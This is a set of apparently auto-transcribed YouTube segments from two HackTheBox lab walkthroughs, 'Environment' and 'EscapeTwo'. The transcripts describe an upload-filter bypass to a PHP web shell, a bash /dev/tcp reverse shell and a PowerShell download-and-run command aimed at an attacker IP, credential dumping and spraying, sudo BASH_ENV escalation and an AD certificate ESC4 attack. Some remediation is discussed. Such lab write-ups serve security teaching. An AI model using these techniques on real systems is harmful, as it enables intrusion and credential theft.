text
stringlengths
4
952
start
float64
0
9.37k
duration
float64
0
0
meta
dict
Let's see. Replace instance.holder with static placeholder hash cross validator.
1,176.4
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
So it looks like maybe um some type of validator is removing characters at the end. So like a dot and a star gets removed. So I'm guessing like let's try this real quick. If I do PHP star uh page expired, so we have to go back and get a fresh cookie. Uh we have to log in, I guess. Rootsc.rocks password.
1,183.36
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
I'm guessing it like trims the end of a URL and that's how this vulnerability comes into play.
1,210.72
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
So send this we need to do um D-N is equal to prepro forward along profile intercept on choose picture upload and let's see I just replace This what I have before. Not that one. This one.
1,217.12
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
There we go. Send it along. And it looks like it uploaded. I wonder if it wrote to just PHP. Let's copy. Uh where is the page? Uh we actually can go here. It would be shell file not found. Um let's try adding a dot on the end. Send this. And there we go. The dot is not apparent here. We just wrote to shell one.php. So ...
1,255.679
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
And there we go. Code execution. So let's do a b- c b- i dev tcp 1010 148 9,0001 0 and one like that. Let's make sure this is all URL encoded. then n bnp 9,0001 send and we get a shell. Awesome. So let's um create the proper TTY. Python 3- C import pty pty spawn bin bash then stty raw minus echo foreground enter and le...
1,304.64
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
And now we can clear the screen. Awesome. So the first thing I always like doing on web servers is dumping the database. So let's see if we can find where it's at. I'm in app storage.
1,355.28
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Um let's see. Find. Grepsql. Do we just have a database? There is a databases directory. SQLite 3 databases. Awesome. Dump. And we have users. Awesome. So that's the mailing list. Uh Cooper, Bob, Xander. Nothing too interesting there.
1,367.2
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Let's see. Um sessions.
1,391.919
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
There we go. And we have some passwords. So let's see. This is going to be the users table. Um we can do email and password.
1,400.32
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
So select email password from users.
1,413.36
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
And we have a list of things. And I don't think cracking this actually gets us anything. So I'm not going to do it.
1,419.28
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
But I still wanted to um show the process, right? Because if we were on this box, let's exit out of SQLite. I did control D and we went to /home. We discover hish is um anyone can go into this directory, right? And we can get user.text here. And we also see a backup directory. And the backup directory does have stuff. ...
1,425.12
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
So if we try to like gpg-d key vault like this um we can't create the directory ver dubdubdub.gnupg.
1,458.799
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
If we look there is a gnupg directory in hish.
1,471.6
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
uh if I can type and this has the key ring right and if there's a password here we'll have to do um like hashcat or john to crack it but we can see if there is a password so what I'm going to do is just cp-r this directory over to devshm and then I'm going to do a gpg I think it's d-home devshmu like this and then we w...
1,476.64
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Uh let's see error creating backup key volt.
1,513.12
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
See is it gpg-h grap home?
1,520.4
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Uh, it's probably D8 H. There we go.
1,527.44
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
What are the options?
1,540.88
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
I know there's a way to specify home. Maybe it was in the man page or something. Let's see. Maybe it's home.
1,548.159
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
D. Okay, that is progress. So, let's do home hash backup key vault.
1,557.2
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Let's see error creating this directory. Um, let's see and do export. So, right now if I do echo home, it thinks my home is var dubdubdubdub. So I'm going to export home is equal to home hish and change that. So now it thinks my home directory is that. And now let's try running this. And the easiest thing to do is prob...
1,570
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Um, let's see. Error creating.
1,605.12
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Oh, I don't have a dash d. There we go. Um, let's do export home is equal to var dubdubdub. Did I even need to change my home directory? Was this just me forgetting the dash d? It was.
1,611.36
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
So, uh, if you just specify the home der where the gnupg file is, you don't have to copy that back. Just don't forget the dash d to decrypt, right? And we have PayPal environment.htb and facebook.com.
1,625.279
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Now, this is probably going to be the password for the user hish, right?
1,639.12
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Because that's where we have the backup. So, I'm just going to try ssh hish at environment.htb paste in that password and we get logged in. Now, we already saw the home directory, right? That's not too important. If I do a pseudo-l, put the password in, we can see um the pseudo. And this is interesting. Whenever I see ...
1,644.4
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Let's see. Okay. I was thinking we could set like the um what is it? Not the home directory. Um I am blanking on the name. The path. I was thinking we could just have the path set and it would keep it, but we could only um keep two variables, env.
1,708.159
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
So, I'm going to Google what bash env is.
1,733.36
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
So, let's go here. I have to turn my proxy off. Let's see.
1,738.72
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Bash env when bash executes a script then expanded the name of the So, it's the bash startup file. So all I have to do is create a startup file. So we can do devshm um parent.sh is what I'll call it bin bash. And let's say this is just going to execute bash. Uh we probably want to make this executable. And now we can g...
1,747.12
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
So what this is going to do is it's going to execute this script as my like bash init. And what it does it's just going to drop me into a shell. There we go. Awesome. And that is going to be the root. So we can do that. And we can get root.ext. And yeah, that is the box. So um hope you enjoyed it. take care. And um act...
1,784.24
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Let's see. There we go. We got this app debug. So, if we just change this to false.
1,833.279
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Um, let's see. Service PHP fpm restart. Does that work?
1,839.919
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Oh, shoot. Um, how do I restart this? Fine. PHP.
1,847.2
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Uh, systemct ctl restart php8.2-fpm.
1,856.72
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
That looks promising. It's taking some time. Uh, I wonder if it can't restart because I have a shell open and that's what it's hanging on, right? I'm just going to exit this real quick. And that may speed things up. Soon as I did that, you saw this um finish, right? So, just waiting to stop that process. So now when I ...
1,863.919
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
So if we didn't have this, so let's set this back to true.
1,906.08
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
and then systemct ctl restart php82 fpm.
1,915.44
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
So there we go. We're back there. Um I think it's like engine x sites. Uh yeah, enabled. We could probably muck around with this.
1,925.679
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
So, let's see. Engine X PHP FPM intercept error. I want to say this is going to get me to the page. I've never really done this with PHP FPM, but I assume it is possible.
1,938.32
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
FastGI intercept errors on.
1,957.12
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Okay. And this stanza, this is why we can't do PHP 5, right? This is just saying anything that ends in PHP, send it to PHP FPM, which executes the PHP script since it has the PHP and then end of string. That's why PHP 5 6 7 whatnot don't work, right? Um, so let's do systemctl restart engineext. Does that alone fix this...
1,964.559
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Okay, that did not do it alone. Let's see.
1,997.279
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
I want to I don't think this is going to be right, but I'm curious. No. So, how do we do this?
2,007.2
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Oh, wait. The error message wasn't 403. I want to say it was 405. Um, we go back. I think this where I ran Go Buster 403.
2,024.72
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Let's see. Upload. Damn it. Upload. There we go. Yeah, the status code is 405. So, let's go ahead and do this. 405.
2,037.36
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
Save it. Restart. Refresh. And there we go. So now engine X whenever it sees that 405 status code, it's just going to give us a not allowed. So there's two different ways we could have blocked that verbose error message um from reaching the user. The recommended way definitely not run the application in debug mode beca...
2,051.2
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
that's going to be the box. Hope you guys enjoyed it. Take care and I will see you all next
2,099.2
0
{ "video_id": "XUEr-CM3Y6Q", "title": "HackTheBox - Environment", "url": "https://www.youtube.com/watch?v=XUEr-CM3Y6Q" }
What's going on YouTube? This is IPSC me doing escape 2 from hack the box which is an assumed breach style box meaning we start out with a set of credentials and these credentials let us access a lot of services but if we check out the fileshare we can find a spreadsheet that has a set of credentials and these credenti...
0.08
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
It's definitely on the more difficult end of easy, but it's all good stuff. So, let's jump in. As always, we're going to start off with an end map. So, - SC for default scripts, SV enumerate versions, VVV for double verbose. This gives us things like the TTL OA output all formats in the end map directory and call it es...
41.68
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
1151. And I like adding um three ways to specify it. The fully qualified name, then just the domain name, and then just the machine name because Windows likes to use all three of those. And um if you don't have them all, you may have an issue down the line that just causes you to waste a lot of time. But now let's take...
91
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
I always see that on AD servers. Just never dug into it. Um secure LDAP. Let's see what else we have. Microsoft SQL. So, this is going to be a um unique one.
136.08
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
LDAP. And then I want to say there's another LDAP. And that is it. Our clock skew is 2 minutes and 39 seconds. So, we don't have to worry about syncing our time with this box. So, there's really not much to go off on. We just have Active Directory and Microsoft SQL. This box is an assumed breach. So, we do start out wi...
147.2
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
well. So, we can do MSSQL. And we do get authenticated. So, I'm going to do a -8 for help. Um, -X would allow us to run commands. So, I'm just going to run the who am I command. And we don't get any output because most likely um the XP cmd shell is not enabled and we just don't have um permissions to enable it because ...
211.599
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
So other things we can enumerate just standard Windows active directory like we could do a um what was it d- users with SMB and this will get us a list of users on the box and since there's not that many because it's just a hack the box machine you can kind of get an idea of what paths may be in right so we just see th...
264.16
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
want to be able to see. This is probably just going to be mapped to the home drive so we can see what is in Rose's home directory. Accounting department, I don't know. And for spidering shares, I like using the spider plus plugin. Um, but when you run this, the default is only to exclude um the print and IPC share. And...
319.84
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
And I normally run bloodhound from the Python ingesttor manually, but net exec does have a way to run it. And that's under the LDAP module. So we can do d- blood hound and then collection all. And I like specifying DNS server 10 10 1151. And let's see. There we go. We're running Blood Hound. We've got our files um down...
379.759
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Under the accounting department, we have two um, spreadsheets and then under users, I don't see anything too interesting. Lots of shortcuts. Uh, there's a desktop like configuration file. Uh just many many shortcuts. Uh we could probably even like dp-vln to get that noise out and maybe add um ini to it as well. And tha...
447.599
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
And we'll copy this and let's do accounting department and we have to specify 10 10 1151. Paste the password. There we go. If I do a diir, we can now get accounts.xlsx XLSX and get accounting 2024 XLSX. Download those two files. Um, Blood Hound is done. I'm just going to move this here and then we'll look at it later. ...
513.839
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Um, but yeah, I'm actually going to move that and we'll call it rose blood hound.zip. Okay. Now, let's see where was I. We downloaded two Excel files.
556.44
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
So, let's go ahead and do an ls. And then we can just open accounts.xlsx. And we see it looks like it is um formatted poorly. Like all the output is just god awful, right? If I try to open it, it's going to look like it's corrupt. So, what I'm going to do is unzip it.
570.12
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
So, I'm going to make a directory called accounts and then I'll unzip this file and we'll see if we can make sense of any of these, right? Because um Word documents are really just zipped up XML things.
598.399
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
So, we go in Excel, we have worksheets. So, if I look at worksheets, uh, let's do sheet one.xml. And let's see. Don't really see too much. Uh, we see essay at sql.htb, but looking around it, there's not much more information. I should probably use a program like xmlint to convert this into um like a commaepparated file...
617.56
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
do that off the top of my head. I'll show you the lazy way I normally do because sometimes lazy just works and it gets you past the point you need, right? So, I'm going to use said. So, we'll do said and then I'm going to look right now. I'm looking at this. The username is just XML space preserve. And what I see assum...
685.839
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
And now what I'm going to do is a another set and I'm going to search for the open carrot or whatever you want to call it. And then we'll search for everything after that as well. Replace it with nothing. And now we kind of just filter down our file much better. Right? So I'm going to write this down to um output.ext. ...
724.64
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
So the one that sticks out really to me is that essay, right? So let's do um NXC MSSQL and then um SQL.htb this is dc1-a-p. Let's specify this password and see if we get logged in.
782.24
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Uh it says also we can try local off. So we'll try that. And there we go. We get logged in and it says poned because we logged in with SA. If we do dash X like who am I? Now we can run commands and we're the SQL service user. So let's get a shell in this box. So, I'm going to do a make dubdubdub and then we're going to...
808.8
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
that's going to run a powershell command. So now I can just do ex new object net.webclient download string http 101048 8000shell.p PS1 and let's see if this works. We got the file and we get a shell. Awesome. So now we are who am I slall? Um we're going to be that SQL service user, right? And what I always look for onc...
890.079
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
this WQSZ. So what we want to do is um spray this password to see what it goes to. So, let's see. The easiest way to do this, um, there's probably a quick way to get the users out of the Blood Hound data, but I'm just going to do D- users. And then we'll copy and paste because I don't know the JQ off the top of my head...
965.68
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Um there we go. Then cat out.ext. Let's do a print. That's one, two, three, four, five. There we go.
1,010.68
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Users.ext text v users. Let's delete that first line. And then what was that password we got? That is down here. Grab this. So we can do nxc SMB 1010 1151.
1,024.64
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Oh, we probably should have used the host name, but it doesn't matter for spring uh users.ext P for the password.
1,043.12
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
And I always like adding continue on success. Otherwise, it's going to stop after the first um successful one. Maybe this password goes to multiple accounts, right? So, let's see. We have Ryan SQL service and that's it. So, we have Ryan's access and let's see what Ryan can do. So, if we do um Ryan SMB Okay, we can also...
1,051.919
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
port and then do compose up. This should start it. And it's probably gonna take a minute or so to start. So, I'm gonna pause the video and we'll just um come back and log into Blood Hound. Okay. So, now let's go to the web browser. We can do localhost 888. And then we'll probably have to log in to Blood Hound. So, admi...
1,122.799
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
that's the main thing I want to show here. So it should be ingesting now. Um while that ingests, let's go ahead and just download the uh sharpound one. So let's do cp op bloodhound inesters uh sharpound.exe. Start my web server back up. And then let's go into program data because I know we can write there. And then let...
1,184.4
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Okay, Stout is running. It'll take a little while. So, let's go see what we have. Um, we can mark the users we have as owned. So, that's probably where we should start. So, let's go rows, rightclick, mark as owned, and then who else do we have?
1,241.36
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Um, we have the SQL server. And then I think Ryan. And that may be it. We may have one more. No, I think that's it. Oh, come on, Ryan. There we go. Add to owned. So now if I go to cipher queries and we do browse, I do shortest path from own principles. I'm curious what it's going to show me. Uh owned objects.
1,260.36
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
There we go. So let's see what do we have. So we can see man this is really glitchy. Uh dark reader turn this off. Use this dark mode. That's better. Okay. So, we have these three users and Ryan can access the CA certificate user. That's a member of certificate publishers. Uh, we also see Ryan's a member of um remote m...
1,292.64
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
directory. That should be fine. Um, let's do SMB client-u What is a user? Is it SQL SVC? Then 10 10 1151 users. This should be the password. Awesome. CDS SQL service get our blood hound data. Okay. So, let's go back to I'm actually before we do this, I'm going to remove these two users from owned. And you'll see why I ...
1,381.24
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
We could have ran soda, right? We could do um certify-u rose at sql.htb um password of this and is that all I do for find? Yeah. Oh, we probably have to do standard out um std out. Otherwise, it'll just output to two log files and that's a bit annoying. And I don't know why my certify is doing this DNS resolution failu...
1,455.12
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
this users of certificate publishers are able to take ownership over this template and once you take ownership over the template then you can modify it to become vulnerable. Right? So that's the ESC4 attack and that's what this is. It's not going to be shown as marked vulnerable because the user we ran it as um isn't a...
1,534
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
why I want to remove the other owned users because this would get even bigger, right? So to make this a bit more manageable, we want to hide some things, right? So let's look at like the paths down here that we don't care about. Probably this is because of kps remote. So I'm going to remove kenps remote from this becau...
1,596.24
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
contains eh but this is the main thing I want to point out that sharp pound you could actually um see the ad esc path much easier here um if you use that. So let's go ahead and now exploit that. But before we can exploit this, we have to um become the CA service user, the certificate authority service. So we have right...
1,678.76
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
And I'm going to show that here. So first let's run certify shadow auto username and this is going to fail but I want to show the failure before we do it right. So we do dash password um what is the password we had it here.
1,716.159
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Copy. There we go. That's the password. So we do certify. Um the account we want is the CA service. We'll do DCIP of 1010 1151. And this is probably going to fail pretty quickly because of access rights, right? Um we have insufficient rights to that account. So let's now become the owner. So because we have write owner...
1,740.6
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Okay, so we have now became the owner. And if we ran this, it still won't work because even though we're the owner, we didn't give ourself the permission to write objects. So now let's do a um dackle edit. So we'll do dackleedit and then we want to do action write. We don't have new earner anymore. We're going to speci...
1,802.48
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
eventually it will give us the NLM hash of the certificate authority service user and then we're going to perform the ESC4 attack. So we have the hash here.
1,880.24
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
We can just validate it real quick. So, NXC, SMB, uh, we'll just do 1010 1151 user, uh, CA, SVC, I think, dash capital H for hash, right? Yep, there we go. So, we have that. And to perform the ESC4 attack, um, this is the best blog post I saw on it. So, let's do ESC4 exploit. Go over to Google. And this RBT security ha...
1,891.84
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
find-a service at sql.htb hashes. That should still be my clipboard. Awesome. standard out and von. So this will tell me which certificate is vulnerable and we're just running through the commands they have and certify in version five has changed something slightly.
1,966.2
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Um they're showing in blood hound but the actual command with like save old doesn't uh work anymore. So if you're using a old version of Certifi, this is going to be the command you run, but I'm on five. So um we're going to have to change the command slightly. So we see there is a vulnerability ESC4 and that's because...
1,987.159
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
it's going to save the configuration of it. If you want to just back up the template you can use write configuration but this will back it up by default unless you specify no save right. Um actually back up with save configuration. Write configuration is how you restore it.
2,050.879
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
So we'll just go through it real quick. So we did find let's do template. Where was it? Did I already do that? Yeah, right here. So, we do template specify all that and let's see, we need the template name. So, this template and this is Dunder Mifflin authentication. And then what else do we need? That may be it. Um, l...
2,069.639
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
bet that's going to be finished. Um I just want to copy this. I guess that's already done. Uh, ESC4. Do we have ES1 still? That's weird. I thought it would call that out as vulnerable. Guess it doesn't. Okay, so let's just move on. Um, let's do request uh CA service hashes. Awesome. And then we need the um what is it t...
2,148.88
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
adding target DC1 SQL HTB. It wrote the key. I don't think this is working. Um, certify off. No, I should get a PFX file. Let's see.
2,242.4
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
DH target IP 1010 1151. I do not like this. Let's see. Let's go up. I'm going to copy this certificate.
2,278.2
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Okay. So, I'm going to make sure um some cleanup script didn't happen. So, we're just going to rerun everything we did. So, we changed the owner, we changed the dackle. Uh I didn't have to do that because I already have the hash. Um let's do the template. Uh let's see. Let's remove that JSON. And what we want to do is ...
2,305.44
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
minimum it should just say es1 and not es4.
2,379.28
0
{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }
Um, but we're getting timeouts now. ES4. I have a feeling it reverted. Let's do dash no save. We've already saved the backup. Run this real quick. Okay, there we go. So it is definitely probably the cleanup script because we can see now it's vulnerable to both ESC1 and ESC4. So when we ran it before we got administrato...
2,384.76
0
